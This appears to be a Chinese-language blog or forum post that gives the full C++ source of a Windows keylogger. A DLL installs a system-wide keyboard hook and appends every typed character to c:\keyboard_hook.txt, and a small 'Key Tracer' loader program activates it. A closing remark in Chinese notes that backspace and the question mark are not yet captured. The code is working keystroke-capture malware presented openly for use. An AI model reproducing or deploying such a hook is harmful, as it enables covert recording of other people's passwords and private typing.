keyboard_hook.h:
#ifndef KEYBOARD_HOOK_H
#define KEYBOARD_HOOK_H
#include <Windows.h>
extern "C" void __declspec(dllexport) SetKbHook();
extern "C" void __declspec(dllexport) RemoveKbHook();
#endif
keyboard_hook.cpp:
#include "keyboard_hook.h"
#include <stdio.h>
#define FILE_PATH "c:\\keyboard_hook.txt"
static BOOL bHooked = FALSE;
static HHOOK hhook = 0, hhookMsg = 0;
static HINSTANCE hInst;
static FILE *file;
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam);
//DLL 动态链接库入口
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
switch (fdwReason) {
case DLL_PROCESS_ATTACH:
hInst = hinstDLL;
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
default:
break;
}
return TRUE;
}
void __declspec(dllexport) SetKbHook() {
if (!bHooked) {
hhook = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC) KeyboardProc, hInst,
(DWORD)NULL);
bHooked = TRUE;
}
}
void __declspec(dllexport) RemoveKbHook() {
if (bHooked) {
UnhookWindowsHookEx(hhook);
}
}
LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam, LPARAM lParam)
{
char ch;
if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode))
{
if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100))
{
file=fopen(FILE_PATH,"a+");
if (wParam==VK_RETURN)
{
ch='\n';
fwrite(&ch,1,1,file);
}
else
{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan=0;
ToAscii(wParam,scan,ks,&w,0);
ch = char(w);
fwrite(&ch,1,1,file);
}
fclose(file);
}
}
LRESULT RetVal = CallNextHookEx( hhook, nCode, wParam, lParam );
return RetVal;
}
keyboard_hook_main.cpp:
#include "..\keyboard_hook\keyboard_hook.h"
//win 函数入口
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpszCmdLine, int nCmdShow)
{
MSG msg;
TCHAR text[] = L"Error loading DLL!";
TCHAR title[] = L"Key Tracer";
BOOL error=FALSE;
HINSTANCE dllhinst;
//创建安装钩子函数指针,用来记录dll中安装钩子的地址
typedef VOID (CALLBACK* KeyboardHook)(VOID);
KeyboardHook keyboardHook;
//加载钩子dll
TCHAR dllPath[] = L"keyboard_hook.dll";
dllhinst=LoadLibrary(dllPath);
//判断是否加载dll成功
if (dllhinst!=NULL)
{
keyboardHook=(KeyboardHook)GetProcAddress(dllhinst, "SetKbHook");
if (!keyboardHook)
{
FreeLibrary(dllhinst);
error=TRUE;
}
else
{
keyboardHook();
}
}
else {
error=TRUE;
}
if (error) {
MessageBox(GetDesktopWindow(),text,title, MB_OK);
}
while (GetMessage(&msg,0,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam;
}
测试了一下,能处理大部分键盘输入,但是问号?还有回退backspace等还处理不了,有待改进。